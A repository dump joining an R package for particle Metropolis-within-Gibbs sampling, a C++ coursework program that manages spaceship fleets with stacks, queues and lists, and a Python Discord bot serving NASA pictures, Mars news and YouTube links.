#' @return A list containing only appopriate samples (non init/burnin samples)
#' @examples
#' # No example yet
#' @keywords internal
extract_samples <- function(sampler, stage = c("adapt", "sample")) {
samples <- sampler$samples
sample_filter <- samples$stage %in% stage
list(
theta_mu = samples$theta_mu[, sample_filter],
theta_sig = samples$theta_sig[, , sample_filter],
alpha = samples$alpha[, , sample_filter]
)
}
#' Create distribution parameters for efficient proposals
#'
#' From the existing samples, create a proposal distribution for drawing
#' efficient samples from.
#'
#' @param x The current pmwgs object
#'
#' @return A list containing the mu and sigma for the proposal distribution.
#' @examples
#' # No example yet
#' @keywords internal
create_efficient <- function(x) {
proposal_means <- array(dim = c(x$n_pars, x$n_subjects))
proposal_sigmas <- array(dim = c(x$n_pars, x$n_pars, x$n_subjects))
for (s in 1:x$n_subjects) {
cparms <- conditional_parms(
s,
extract_samples(x)
)
proposal_means[, s] <- cparms$cmeans
proposal_sigmas[, , s] <- cparms$cvars
}
list(
efficient_mu = proposal_means,
efficient_sig2 = proposal_sigmas
)
}
#' Generate a cloud of particles from a multivariate normal distribution
#'
#' Takes the mean and variance for a multivariate normal distribution, as well as the number of
#' particles to generate and return random draws from the multivariate normal if the numbers of
#' particles is > 0, otherwise return NULL. At least one of mean or sigma must be provided.
#'
#' @param n number of observations
#' @param mu mean vector
#' @param covar covariance matrix
#'
#' @return If n > 0 returns n draws from the multivariate normal with mean and sigma, otherwise returns NULL
#' @examples
#' psamplers:::particle_draws(100, rep(0.2, 7), diag(rep(7)))
#' psamplers:::particle_draws(0, rep(0.2, 7), diag(rep(7)))
#' @keywords internal
particle_draws <- function(n, mu, covar) {
if (n <= 0) {
return(NULL)
}
mvtnorm::rmvnorm(n, mean = mu, sigma = covar)
}
#' Obtain the efficent mu and sigma from the adaptation phase draws
#'
#' @param s current subject number
#' @param samples A list containing previous samples
#'
#' @return A list containing the conditional mean and variances for this subject
#' @examples
#' # No example yet
#' @keywords internal
conditional_parms <- function(s, samples) {
gmdim <- dim(samples$theta_mu)
n_par <- gmdim[1]
n_iter <- gmdim[2]
pts2_unwound <- apply(
samples$theta_sig,
3,
unwind
)
all_samples <- rbind(
samples$alpha[, s, ],
samples$theta_mu[, ],
pts2_unwound
)
mu_tilde <- apply(all_samples, 1, mean)
sigma_tilde <- stats::var(t(all_samples))
condmvn <- condMVNorm::condMVN(
mean = mu_tilde,
sigma = sigma_tilde,
dependent.ind = 1:n_par,
given.ind = (n_par + 1):length(mu_tilde),
# GC: Note, not sure what is happening here:v (Was ptm/pts2 now last sample)
X.given = c(samples$theta_mu[, n_iter],
unwind(samples$theta_sig[, , n_iter]))
)
list(cmeans = condmvn$condMean, cvars = condmvn$condVar)
}
#' Create a new list for storage samples in the pmwgs object
#'
#' @param par_names The names of each parameter as a character vector
#' @param n_subjects The number of subjects for the subject mean storage.
#' @param iters The number of iterations to be pre-allocated
#' @param stage The stage for which the samples will be created. Should be one
#' of `c("init", "burn", "adapt", "sample")`
#'
#' @return A list containing the conditional mean and variances for this subject
#' @examples
#' # No example yet
#' @keywords internal
sample_store <- function(par_names, n_subjects, iters = 1, stage = "init") {
n_pars <- length(par_names)
list(
alpha = array(
NA_real_,
dim = c(n_pars, n_subjects, iters),
dimnames = list(par_names, NULL, NULL)
),
theta_mu = array(
NA_real_,
dim = c(n_pars, iters),
dimnames = list(par_names, NULL)
),
theta_sig = array(
NA_real_,
dim = c(n_pars, n_pars, iters),
dimnames = list(par_names, par_names, NULL)
),
stage = array(stage, iters),
subj_ll = array(
NA_real_,
dim = c(n_subjects, iters),
dimnames = list(NULL, NULL)
),
a_half = array(
NA_real_,
dim = c(n_pars, iters),
dimnames = list(par_names, NULL)
)
)
}
#' Create a list with the last samples in the pmwgs object
#'
#' @param store The list containing samples from t=which to grab the last.
#'
#' @return A list containing the last sample of group mean and variance and
#' subject means.
#' @examples
#' # No example yet
#' @keywords internal
last_sample <- function(store) {
list(
gm = store$theta_mu[, store$idx],
gv = store$theta_sig[, , store$idx],
sm = store$alpha[, , store$idx],
gvi = store$last_theta_sig_inv,
a_half = store$a_half[, store$idx]
)
}
#' Update the main data store with the results of the last stage
#'
#' @param sampler The pmwgs object that we are adding the new samples to
#' @param store The sample storage stage just run
#'
#' @return The pmwgs object with the new samples concatenated to the old
#' @examples
#' # No example yet
#' @keywords internal
update_sampler <- function(sampler, store) {
old_gm <- sampler$samples$theta_mu
old_gv <- sampler$samples$theta_sig
old_sm <- sampler$samples$alpha
old_stage <- sampler$samples$stage
old_sll <- sampler$samples$subj_ll
old_a_half <- sampler$samples$a_half
li <- store$idx
sampler$samples$theta_mu <- array(c(old_gm, store$theta_mu[, 1:li]),
dim = dim(old_gm) + c(0, li))
sampler$samples$theta_sig <- array(c(old_gv, store$theta_sig[, , 1:li]),
dim = dim(old_gv) + c(0, 0, li))
sampler$samples$alpha <- array(c(old_sm, store$alpha[, , 1:li]),
dim = dim(old_sm) + c(0, 0, li))
sampler$samples$idx <- ncol(sampler$samples$theta_mu)
sampler$samples$last_theta_sig_inv <- store$last_theta_sig_inv
sampler$samples$stage <- c(old_stage, store$stage[1:li])
sampler$samples$subj_ll <- array(c(old_sll, store$subj_ll[, 1:li]),
dim = dim(old_sll) + c(0, li))
sampler$samples$a_half <- array(c(old_a_half, store$a_half[, 1:li]),
dim = dim(old_a_half) + c(0, li))
sampler
}
#' Check whether the adaptation phase has successfully completed
#'
#' @param samples The subject mean samples with which we are working
#' @param unq_vals The number of unique values for each subject
#'
#' @return A boolean TRUE or FALSE depending on the result of the test
#' @examples
#' # No example yet
#' @keywords internal
check_adapted <- function(samples, unq_vals = 20) {
# Only need to check uniqueness for one parameter
first_par <- samples[1, , ]
all(
lapply(
apply(first_par, 1, unique),
length
) > unq_vals
)
}
#' Return the acceptance rate for all subjects
#'
#' @param store The samples store (containing random effects) with which we are
#' working
#'
#' @return A vector with the acceptance rate for each subject
#' @examples
#' # No example yet
#' @keywords internal
accept_rate <- function(store) {
if (is.null(store$idx) || store$idx < 3) return(array(0, dim(store$alpha)[2]))
vals <- store$alpha[1, , 1:store$idx]
apply(
apply(vals, 1, diff) != 0, # If diff != 0
2,
mean
)
}
#' An altered version of the utils:txtProgressBar that shows acceptance rate
#'
#' @param min The minimum of the value being updated for the progress bar
#' @param max The maximum of the value being updated for the progress bar
#'
#' @return A structure matching the structure of a txtProgresBar with additional
#' info
#' @examples
#' # No example yet
#' @keywords internal
accept_progress_bar <- function(min = 0, max = 1) {
.val <- 0
.killed <- FALSE
.nb <- 0L
.pc <- -1L # This ensures the initial value is displayed
.ex <- 0
nw <- nchar("=", "w")
width <- trunc(getOption("width") - 22L / nw)
if (max <= min) stop("must have 'max' > 'min'")
up <- function(value, extra=0) {
if (!is.finite(value) || value < min || value > max) return()
.val <<- value
nb <- round(width * (value - min) / (max - min))
pc <- round(100 * (value - min) / (max - min))
extra <- round(100 * extra)
if (nb == .nb && pc == .pc && .ex == extra) return()
cat(paste0("\r |", strrep(" ", nw * width + 6)))
cat(paste(c("\r |",
rep.int("=", nb),
rep.int(" ", nw * (width - nb)),
sprintf("| %3d%%", pc),
sprintf(" | Acc(%3d%%)", extra)
), collapse = ""))
utils::flush.console()
.nb <<- nb
.pc <<- pc
.ex <<- extra
}
get_value <- function() .val
kill <- function() {
if (!.killed) {
cat("\n")
utils::flush.console()
.killed <<- TRUE
}
}
up(0) # will check if in range
structure(list(getVal = get_value, up = up, kill = kill),
class = c("accept_progress_bar", "txtProgressBar"))
}
setAcceptProgressBar <- function(pb, value, extra = 0) {
if (!inherits(pb, "txtProgressBar"))
stop(gettextf("'pb' is not from class %s",
dQuote("txtProgressBar")),
domain = NA)
oldval <- pb$getVal()
pb$up(value, extra)
invisible(oldval)
}
<file_sep>/tests/testthat.R
library(testthat)
library(psamplers)
test_check("psamplers")
<file_sep>/R/init.R
#' Initialise values for the random effects
#'
#' Takes the starting values for the group mean and variance, and subject level
#' means. All arrays must match the appropriate shape.
#'
#' For example, with 5 parameters and 10 subjects, the group means must be a
#' vector of length 5, the group variance must be an array of 5 x 5, and the
#' subject means must be 5 x 10.
#'
#' Alternatively the if argument values for the starting points are left at the
#' default (NULL) then starting points will be sampled from the prior for group
#' level values, or for subject level means they will be sampled from the
#' multivariate normal using the group level means and variance.
#'
#' @param x The sampler object that provides the parameters.
#' @param theta_mu An array of starting values for the group means
#' @param theta_sig An array of starting values for the group covariance matrix
#' @param display_progress Display a progress bar during sampling
#' @param ... Further arguments passed to or from other methods.
#'
#' @return The sampler object but with initial values set for latent_theta_mu
#' @examples
#' lba_ll <- function(x, data) {
#' x <- exp(x)
#' if (any(data$rt < x["t0"])) {
#' return(-1e10)
#' }
#' sum(
#' log(
#' rtdists::dLBA(rt = data$rt,
#' response = data$correct,
#' A = x["A"],
#' b = x["A"] + x[c("b1", "b2", "b3")][data$condition],
#' t0 = x["t0"],
#' mean_v = x[c("v1", "v2")],
#' sd_v = c(1, 1),
#' silent = TRUE)
#' )
#' )
#' }
#' sampler <- pmwgs(forstmann,
#' c("b1", "b2", "b3", "A", "v1", "v2", "t0"),
#' lba_ll
#' )
#' sampler <- init(sampler, theta_mu=rnorm(7), theta_sig=diag(rep(0.01, 7)))
#' @export
init.pmwgs <- function(x, theta_mu=NULL, theta_sig=NULL,
display_progress=TRUE, ...) {
# If no starting point for group mean just use zeros
if (is.null(theta_mu)) theta_mu <- stats::rnorm(x$n_pars, sd = 1)
# If no starting point for group var just sample from inverse wishart
if (is.null(theta_sig)) theta_sig <- MCMCpack::riwish(x$n_pars * 3,
diag(x$n_pars))
n_particles <- 1000 #GC: Fixed val here
# Sample the mixture variables' initial values.
a_half <- 1 / stats::rgamma(n = x$n_pars, shape = 0.5, scale = 1)
# Create and fill initial random effects for each subject
alpha <- array(NA, dim = c(x$n_pars, x$n_subjects))
if (display_progress) {
cat("Sampling Initial values for random effects\n")
pb <- utils::txtProgressBar(min = 0, max = x$n_subjects, style = 3)
}
likelihoods <- array(NA_real_, dim = c(x$n_subjects))
for (s in 1:x$n_subjects) {
if (display_progress) utils::setTxtProgressBar(pb, s)
particles <- mvtnorm::rmvnorm(n_particles, theta_mu, theta_sig)
colnames(particles) <- rownames(x$samples$theta_mu) # preserve par names
lw <- apply(
particles,
1,
x$ll_func,
data = x$data[x$data$subject == x$subjects[s], ]
)
weight <- exp(lw - max(lw))
idx <- sample(x = n_particles, size = 1, prob = weight)
alpha[, s] <- particles[idx, ]
likelihoods[s] <- lw[idx]
}
if (display_progress) close(pb)
x$init <- TRUE
x$samples$theta_mu[, 1] <- theta_mu
x$samples$theta_sig[, , 1] <- theta_sig
x$samples$alpha[, , 1] <- alpha
x$samples$last_theta_sig_inverse <- MASS::ginv(theta_sig)
x$samples$subj_ll[, 1] <- likelihoods
x$samples$a_half[, 1] <- a_half
x$samples$idx <- 1
x
}
#' Initialise variables needed for individual loops within PMwG
#'
#' Takes the pmwgs object and sets up sampling loop variables
#'
#' @param samples The list containing the samples from the current run, or from
#' the master storage in the sampler
#' @param sampler The pmwgs object from which to generate the new group
#' parameters.
#'
#' @return A list of generated variables that can be modified after the fact
#' @examples
#' # No example yet
#' @keywords internal
new_group_pars <- function(samples, sampler) {
# Get single iter versions, gm = theta_mu, gv = theta_sig
last <- last_sample(samples)
hyper <- attributes(sampler)
# Here mu is group mean, so we are getting mean and variance
var_mu <- MASS::ginv(
sampler$n_subjects * last$gvi + sampler$prior$theta_sig_inv
)
mean_mu <- as.vector(var_mu %*% (last$gvi %*% apply(last$sm, 1, sum)))
chol_var_mu <- t(chol(var_mu)) # t() because I want lower triangle.
# New sample for mu.
gm <- mvtnorm::rmvnorm(1, mean_mu, chol_var_mu %*% t(chol_var_mu))[1, ]
names(gm) <- sampler$par_names
# New values for group var
theta_temp <- last$sm - gm
cov_temp <- (theta_temp) %*% (t(theta_temp))
B_half <- 2 * hyper$v_half * diag(1 / last$a_half) + cov_temp #nolint
gv <- MCMCpack::riwish(hyper$k_half, B_half) # New sample for group variance
gvi <- MASS::ginv(gv)
# Sample new mixing weights.
a_half <- 1 / stats::rgamma(
n = sampler$n_pars,
shape = hyper$v_shape,
scale = 1 / (hyper$v_half + diag(gvi) + hyper$A_half)
)
list(gm = gm, gv = gv, gvi = gvi, a_half = a_half, sm = last$sm)
}
<file_sep>/R/particle_sampler.R
#' Initialise a PMwG sampler and return a pmwgs object
#'
#' Takes the initial parameter set and creates default values for a
#' range of PMwG necessary variables.
#'
#' @param data The data.frame containing empirical data to be modelled. Assumed
#' to contain at least one column called subject whose elements are unique
#' identifiers for each subject.
#' @param pars The list of parameter names to be used in the model
#' @param ll_func A log likelihood function that given a list of parameter
#' values and a data.frame (or other data store) containing subject data will
#' return the log likelihood of \code{x} given \code{data}.
#' @param prior Specification of the prior distribution for mu and sigma2
#' @param ... Other tuning parameters that you want to specify for the sampler.
#'
#' @return A pmwgs object that can be run, plotted and more
#' @example examples/pmwgs.R
#' @export
pmwgs <- function(data, pars, ll_func, prior = NULL, ...) {
# Descriptives
n_pars <- length(pars)
subjects <- unique(data$subject)
n_subjects <- length(subjects)
# Tuning settings for the Gibbs steps
# Hyperparameters
v_half <- 2 # hyperparameter on Σ prior (Half-t degrees of freedom)
A_half <- 1 # hyperparameter on Σ prior (Half-t scale) #nolint
# k_alpha from Algorithm 3, 2(b)
k_half <- v_half + n_pars - 1 + n_subjects
# IG (inverse gamma) shape parameter, Algorithm 3, 2(c)
v_shape <- (v_half + n_pars) / 2
# Storage for the samples.
# theta is the parameter values, mu is mean of normal distribution and
# sigma2 is variance
# Generate a list of sample storage arrays of size 1 (for start points)
samples <- sample_store(pars, n_subjects)
proposal <- list(
means = array(dim = c(n_pars, n_subjects)),
sigmas = array(dim = c(n_pars, n_pars, n_subjects))
)
if (is.null(prior)) {
prior <- list(theta_mu = rep(0, n_pars), theta_sig = diag(rep(1, n_pars)))
}
# Things I save rather than re-compute inside the loops.
prior$theta_sig_inv <- MASS::ginv(prior$theta_sig)
sampler <- list(
data = data,
par_names = pars,
n_pars = n_pars,
n_subjects = n_subjects,
subjects = subjects,
prior = prior,
ll_func = ll_func,
samples = samples
)
attr(sampler, "v_half") <- v_half
attr(sampler, "A_half") <- A_half
attr(sampler, "k_half") <- k_half
attr(sampler, "v_shape") <- v_shape
class(sampler) <- "pmwgs"
sampler
}
<file_sep>/README.md
# psamplers #
<!-- badges: start -->
[](https://travis-ci.com/NewcastleCL/samplers)
[](https://codecov.io/gh/NewcastleCL/samplers?branch=master)
<!-- badges: end -->
To install the currently recommended method is via devtools.
`devtools::install_github('newcastlecl/samplers')`
## Installing to an older version of R (< 3.6)
Terminal
* wget https://github.com/newcastlecl/samplers/archive/reduce_requirements.zip
* unzip reduce_requirements.zip
R
* devtools::install_version('mvtnorm', version='1.0-0')
* (Maybe need install.packages("mcmc")
* devtools::install_version('MCMCpack', version='1.4-0')
* install.packages(c("samplers-reduce_requirements/"), repos=NULL)
*
| 8ce17c99a3ec0bc139c7158e4b71094e3a81e2a2 | [
"Markdown",
"R"
] | 10 | R | gjcooper/samplers | d36026936987b3d94c96efa86cd55961b88a65ae | c98e91833fa376a1171eb3133b72b17a528c3b45 |
refs/heads/master | <repo_name>pepedoni/trabalho-naves<file_sep>/src/Makefile
# == VARIAVEIS ===
# ================
#
# Podemos declarar algumas variaveis dentro do Makefile (sintaxe similar a bash)
# Isso facilita o seu trabalho caso voce opte trocar alguma versao do
# compilador ou flag para seu processo de compilacao
# Uma variavel com nome VAR eh declarada da seguinte maneira:
# VAR=conteudo
# e eh chamada atraves do comando $(VAR)
CC=g++ # compilador, troque para gcc se preferir utilizar C
CFLAGS=-Wall -Wextra # compiler flags, troque o que quiser, exceto bibliotecas externas
EXEC=./tp1.exe # nome do executavel que sera gerado, nao troque
TMPOUT=./tp1.testresult
HEADERS_DIR = ./headers
# === REGRAS =====
# ================
#
# Aqui declaramos as nossas regras de compilacao.
# Para chamar uma regra, podemos simplesmente digitar
# make nome_regra
# Exs.:
# make ./tp1
# make foo.o
# make clean
# Cada regra de compilacao tem a seguinte sintaxe:
#
# NOME_OUTPUT: DEPENDENCIAS
# CMD
#
# NOME_OUTPUT eh o nome do arquivo que vai ser gerado (ou qualquer nome caso
# nenhum arquivo seja gerado, ex. clean)
# DEPENDENCIAS sao os nomes dos arquivos necessarios para executar essa regra
# de compilacao
# CMD sao os comandos necessarios para executar a regra (por exemplo, hcamar o
# gcc)
$(EXEC): main.cpp nave.o tipoitem.o tipocelula.o pilha.o fila.o lista.o pilhaencadeada.o listaencadeada.o filaencadeada.o
$(CC) $(CFLAGS) main.cpp tipoitem.o tipocelula.o nave.o pilha.o fila.o lista.o pilhaencadeada.o listaencadeada.o filaencadeada.o -o $(EXEC)
tipoitem.o: ${HEADERS_DIR}/TipoItem.hpp ${HEADERS_DIR}/TipoItem.cpp
$(CC) $(CFLAGS) -c ${HEADERS_DIR}/TipoItem.cpp -o tipoitem.o
tipocelula.o: ${HEADERS_DIR}/TipoCelula.hpp ${HEADERS_DIR}/TipoCelula.cpp
$(CC) $(CFLAGS) -c ${HEADERS_DIR}/TipoCelula.cpp -o tipocelula.o
fila.o: ${HEADERS_DIR}/Fila.hpp ${HEADERS_DIR}/Fila.cpp
$(CC) $(CFLAGS) -c ${HEADERS_DIR}/Fila.cpp -o fila.o
lista.o: ${HEADERS_DIR}/Lista.hpp ${HEADERS_DIR}/Lista.cpp
$(CC) $(CFLAGS) -c ${HEADERS_DIR}/Lista.cpp -o lista.o
pilha.o: ${HEADERS_DIR}/Pilha.hpp ${HEADERS_DIR}/Pilha.cpp
$(CC) $(CFLAGS) -c ${HEADERS_DIR}/Pilha.cpp -o pilha.o
nave.o: ${HEADERS_DIR}/Nave.cpp
$(CC) $(CFLAGS) -c ${HEADERS_DIR}/Nave.cpp -o nave.o
pilhaencadeada.o: ${HEADERS_DIR}/PilhaEncadeada.hpp ${HEADERS_DIR}/PilhaEncadeada.cpp
$(CC) $(CFLAGS) -c ${HEADERS_DIR}/PilhaEncadeada.cpp -o pilhaencadeada.o
listaencadeada.o: ${HEADERS_DIR}/ListaEncadeada.hpp ${HEADERS_DIR}/ListaEncadeada.cpp
$(CC) $(CFLAGS) -c ${HEADERS_DIR}/ListaEncadeada.cpp -o listaencadeada.o
filaencadeada.o: ${HEADERS_DIR}/FilaEncadeada.hpp ${HEADERS_DIR}/FilaEncadeada.cpp
$(CC) $(CFLAGS) -c ${HEADERS_DIR}/FilaEncadeada.cpp -o filaencadeada.o
test: $(EXEC)
@bash run_tests.sh $(EXEC) $(TMPOUT)
clean:
rm -rf nave.o tipoitem.o tipocelula.o pilha.o fila.o lista.o pilhaencadeada.o listaencadeada.o filaencadeada.o
clean_windows:
del nave.o tipoitem.o tipocelula.o pilha.o fila.o lista.o pilhaencadeada.o listaencadeada.o filaencadeada.o
# === OUTROS =====
# ================
#
# Para mais informacoes sobre o Makefile, procure os monitores ou consulte
# outras referencias disponiveis na internet como:
# https://opensource.com/article/18/8/what-how-makefile
<file_sep>/src/main.cpp
#include <cstdio> // em C substituir por #include <stdio.h>
#include <iostream>
#include "headers/PilhaEncadeada.hpp"
#include "headers/ListaEncadeada.hpp"
#include "headers/FilaEncadeada.hpp"
#include "headers/Nave.hpp"
using namespace std;
int main() {
int num_frotas;
scanf("%d",&num_frotas);
int i;
PilhaEncadeada* pilhaNaves = new PilhaEncadeada();
ListaEncadeada* listaNavesCombate = new ListaEncadeada();
FilaEncadeada* filaAvaria = new FilaEncadeada();
for(i=0; i < num_frotas; i++){
int id_nave;
scanf("%d", &id_nave);
//desenvolver o código para inserção correta das naves que são lidas
Nave nNave = Nave(id_nave);
TipoItem nItemNave = TipoItem(id_nave, nNave);
pilhaNaves->Empilha(nItemNave);
}
int operacao;
while(scanf("%d", &operacao) != EOF) {
if(operacao == 0) {
// Enviar nave para combate
TipoItem tCombate = pilhaNaves->Desempilha();
Nave n = tCombate.GetNave();
n.Combate();
listaNavesCombate->InsereFinal(tCombate);
} else if(operacao == -1) {
// Consertar nave
TipoItem tRemoveAvaria = filaAvaria->Desenfileira();
Nave n = tRemoveAvaria.GetNave();
pilhaNaves->Empilha(tRemoveAvaria);
n.Consertada();
} else if(operacao == -2) {
// Imprimir pilha de naves prontas para combate
pilhaNaves->Imprime();
} else if(operacao == -3) {
// Imprimir fila de naves avariadas
filaAvaria->Imprime();
} else {
// Inserir nave na fila de avariadas
int codigo_nave = operacao;
TipoItem tInsereAvaria = listaNavesCombate->RemoveItem(codigo_nave);
Nave n = tInsereAvaria.GetNave();
filaAvaria->Enfileira(tInsereAvaria);
n.Avaria();
}
//desenvolver o código relacionado as operações a serem realizadas
}
return 0;
}
| bb6157a56f48117ed3f7e0f61bf957a9bca449a6 | [
"Makefile",
"C++"
] | 2 | Makefile | pepedoni/trabalho-naves | 75f5e4f402991a57a31ee7b008815d8b9e7a8ab4 | ce4c5bd33849566880fb73b254c24784922bec8a |
refs/heads/main | <repo_name>KonomeH/DISCORD-NASA-BOT<file_sep>/Commands/apod.py
# Importing some necessary modules
import discord
from discord.ext.commands import Bot
from discord.ext import commands
from discord.ext import *
import requests
import json
import datetime
from datetime import datetime
import radar
@commands.command(aliases=['picture', 'pic', 'astropic'])
async def apod(ctx, date=''):
# If user wants a picture from a random date, choose random date from a valid range
if date == 'random':
date = radar.random_datetime(start='1995-06-16', stop=datetime.today().strftime('%Y-%m-%d'))
# Our api key and api url
api_key = ""
api_url = f"https://api.nasa.gov/planetary/apod?api_key={api_key}&date={date}&hd=True"
# Load json of the api response
r = requests.get(api_url)
nasa_dict = json.loads(r.content)
# Specify certain elements of the recieved data
theDate = nasa_dict['date']
theDesc = nasa_dict['explanation']
theTitle = nasa_dict['title']
hdUrl = nasa_dict['hdurl']
copyrightn = ''
# If data contains copyright author, load it to avoid error
if 'copyright' in nasa_dict:
copyrightn = nasa_dict['copyright']
# Set properties for our embed message on discord
embed=discord.Embed(title=theTitle, url=hdUrl, description=theDesc, color=0xfc0303)
embed.set_author(name="Copyright: " + copyrightn)
embed.set_image(url=hdUrl)
embed.set_footer(text="Astronomy Picture of The Day | " + theDate)
# Send our picture to discord channel with all the info
await ctx.send(embed=embed)
# Make the command load & work
def setup(bot):
bot.add_command(apod)
<file_sep>/Commands/calc.py
# Importing some necessary modules
import discord
from discord.ext.commands import Bot
from discord.ext import *
from calculator.simple import SimpleCalculator
c = SimpleCalculator()
@commands.command(aliases=['calculate', 'calculator'])
async def calc(ctx, *, calculation):
try:
c.run(calculation)
result = c.log[-1]
first = result.split(".")[0]
second = result.split(".")[1]
if second == '0':
result = first
if 'result' not in result:
result = "Math symbol not supported."
await ctx.send(result.capitalize())
except IndexError:
await ctx.send("Wrong arguments passed! Use numbers and math symbols only! Example: !calc 2 + 2")
except Exception as e:
print(e)
# Make the command load & work
def setup(bot):
bot.add_command(calc)
<file_sep>/Commands/marsnews.py
# Importing some necessary modules
import discord
from discord.ext.commands import Bot
from discord.ext import commands
from discord.ext import *
from requests_html import AsyncHTMLSession
@commands.command(aliases=['mn', 'mnews'])
async def marsnews(ctx):
try:
# Open nasa mars news website
session = AsyncHTMLSession()
url = 'https://mars.nasa.gov/news/'
r = await session.get(url)
# Enable javascript so that all the content from website is loaded
await ctx.send("Loading javascript content on NASA website, this may take a few seconds...")
await r.html.arender()
# Find our news section and get the latest post
getNews = r.html.find('ul.item_list li.slide', first=True)
news = getNews.text.split("\n")
# Specify elements
desc = news[0]
title = news[1]
date = news[2]
link = next(iter(getNews.absolute_links))
nasaLogo = "https://github.com/Michal2SAB/DISCORD-NASA-BOT/blob/main/nlogo.png?raw=true"
# Set parameters for our embed discord message
embed=discord.Embed(title=title, description=desc, url=link)
embed.set_author(name="NASA", url=url, icon_url=nasaLogo)
embed.set_thumbnail(url=nasaLogo)
embed.add_field(name="Date", value=date, inline=False)
# Send our mars news update message and close our session
await ctx.send(embed=embed)
await r.session.close()
except Exception as e:
print(e)
# Make the command load & work
def setup(bot):
bot.add_command(marsnews)
<file_sep>/Tools/yt_handler.py
# Import needed modules
import urllib.request as urllib
import json
from configparser import ConfigParser
# Define important things
config_object = ConfigParser()
config_object.read("config.ini")
yt = config_object["YOUTUBE"]
key = yt["api_key"]
# The function to grab the latest video from a specific channel
def getVid(channel):
try:
# Our api key
apikey = key
# Yt vid and search path
video_url = 'https://www.youtube.com/watch?v='
search_url = 'https://www.googleapis.com/youtube/v3/search?'
# Load json of the channel page and get the latest video
url = search_url+f'key={apikey}&channelId={channel}&part=snippet,id&order=date&maxResults=1'
visit = urllib.urlopen(url)
resp = json.load(visit)
video_link = ""
# Get the video url and return
for i in resp['items']:
if i['id']['kind'] == "youtube#video":
video_link = video_url + i['id']['videoId']
return video_link
except Exception as e:
print(e)
<file_sep>/Commands/ytvids.py
# Importing some necessary modules
import discord
from discord.ext.commands import Bot
from discord.ext import commands
from discord.ext import *
import Tools.yt_handler as yt
class YTvids(commands.Cog):
def __init__(self, bot):
# Specify yt channel ids for different commands
self.mars = "UChE5mIr9I1sHPHjSQeRp3FQ"
self.space = "UCciQ8wFcVoIIMi-lfu8-cjQ"
self.ufo = "UC4F3j3ed_To-M3H2YLLD5vw"
# Get the latest mars video
@commands.command(aliases=['mvid'])
async def marsvid(self, ctx):
await ctx.send(yt.getVid(self.mars))
# Get the latest space news video
@commands.command(aliases=['sn', 'anton', 'news'])
async def spacenews(self, ctx):
await ctx.send(yt.getVid(self.space))
# Get the latest conspiracy theory video about ufo or alien
@commands.command(aliases=['ufovid', 'ufonews'])
async def ufo(self, ctx):
await ctx.send(yt.getVid(self.ufo))
# Load the commands & make it work
def setup(bot):
bot.add_cog(YTvids(bot))
<file_sep>/README.md
# A NASA Command Bot for Discord, written in python.
A discord bot for anything space, planets etc related, using some of NASA open apis and more.
# FEATURES SO FAR
<details>
<summary>Astronomy picture of the day</summary>
#
- Get the Astronomy picture of the day (with additional option to choose a random date or specify your own aswell).<br>
- Command: !apod
- Aliases: !pic, !picture, !astropic
- Optional usages: !apod {date} / !apod random
#
</details>
<details>
<summary>Latest pictures from Mars</summary>
#
- Get random latest pictures of Mars, taken either by the Curiosity Rover or the Perseverance Rover, using the official NASA API.
- Command: !mars
- Aliases: !mpic, !marspic
#
</details>
<details>
<summary>Mars weather update</summary>
#
- Get the latest mars weather reports from the Perseverance Rover, from the "MarsWxReport" twitter account.
- Command: !marsweather
- Aliases: !mw, !mweather
#
</details>
<details>
<summary>UFO News (Conspiracy Theory Stuff)</summary>
#
- Get the latest ufo conspiracy theory video (from the popular channel 'secureteam10'). Made this for my buddy.
- Command: !ufo
- Aliases: !ufovid, !ufonews
#
</details>
<details>
<summary>Latest captures by the Mars rovers</summary>
#
- Get the latest video from the popular channel "iGadgetPro" about Perseverance & Curiosity capturing cool stuff on Mars.
- Command: !marsvid
- Aliases: !mvid
#
</details>
<details>
<summary>Mars news</summary>
#
- Get the latest news about Mars from nasa news website.
- Command: !marsnews
- Aliases: !mn, !mnews
#
</details>
<details>
<summary>Space news & other cool updates</summary>
#
- Get the latest video with either some space news, explanations or updates on things we already knew (from the wonderful channel 'whatdamath' aka <NAME>).
- Command: !spacenews
- Aliases: !sn, !anton
#
</details>
<details>
<summary>Bonus feature: simple calculator</summary>
#
- Easily calculate stuff with just one command, using 'simplecalculator' module.
- Command example: !calc 2 + 2
- Aliases: !calculate, !calculator
#
</details>
<file_sep>/Commands/mars.py
# Importing some necessary modules
import discord
from discord.ext.commands import Bot
from discord.ext import commands
from discord.ext import *
import requests
import json
import random
@commands.command(aliases=['mpic', 'marspic'])
async def mars(ctx):
# Our nasa api key and api urls for curiosity and perseverance rovers
api_key = ""
pers_url = f"https://api.nasa.gov/mars-photos/api/v1/rovers/perseverance/latest_photos?api_key={api_key}"
curio_url = f"https://api.nasa.gov/mars-photos/api/v1/rovers/curiosity/latest_photos?api_key={api_key}"
rovers = [pers_url, curio_url]
# Choose which rover api to use
useAPI = random.choice(rovers)
# This is for the embed message title
whatRover = "Perseverance"
# Change embed message title if using the curiosity rover api
if "curiosity" in useAPI:
whatRover = "Curiosity"
# Read json data from api and specify elements
r = requests.get(useAPI)
mars_dict = json.loads(r.content)
latestDict = random.choice(mars_dict['latest_photos'])
marsDay = latestDict['sol']
cameraName = latestDict['camera']['full_name']
theImg = latestDict['img_src']
earthDate = latestDict['earth_date']
# Set parameters for our embed message on discord
embed=discord.Embed(title=whatRover + "'s Recent Mars Pic", url=theImg, description="A recent picture of Mars taken by the " + whatRover + " Rover.", color=0xfc0303)
embed.set_author(name="NASA")
embed.set_image(url=theImg)
embed.add_field(name="Mars Day (Sol)", value=marsDay, inline=True)
embed.add_field(name="Earth Date", value=earthDate, inline=True)
# Send random most recent picture captured by curiosity or perseverance
await ctx.send(embed=embed)
# Make the command load & work
def setup(bot):
bot.add_command(mars)
<file_sep>/Commands/commands.py
# Importing some necessary modules
import discord
from discord.ext.commands import Bot
from discord.ext import commands
from discord.ext import *
@commands.command(aliases=['commands', 'command', 'help'])
async def cmds(ctx):
embed=discord.Embed(title="Bot Commands", description="!apod - Get the Astronomy Picture of The Day\n\n!mars - Get random latest pictures of Mars, taken either by the Curiosity or the Perseverance Rover.\n\n!marsweather - Get the latest mars weather update from the Perseverance Rover.\n\n!marsvid - See what has been recently captured on Mars by the Perseverance rover or Curiosity rover.\n\n!marsnews - Get the latest news about Mars from the NASA news website.\n\n!ufo - Get the latest conspiracy theory video about ufos/alien etc from the channel 'secureteam10'\n\n!spacenews - Get the latest video from Anton Petrov about anything space related (new discoveries, explanations etc\n\n!calc - Calculate stuff.)", color=0x24262B)
embed.set_author(name="Michal2SAB", url="https://github.com/Michal2SAB")
await ctx.send(embed=embed)
# Make the command load & work
def setup(bot):
bot.add_command(cmds)
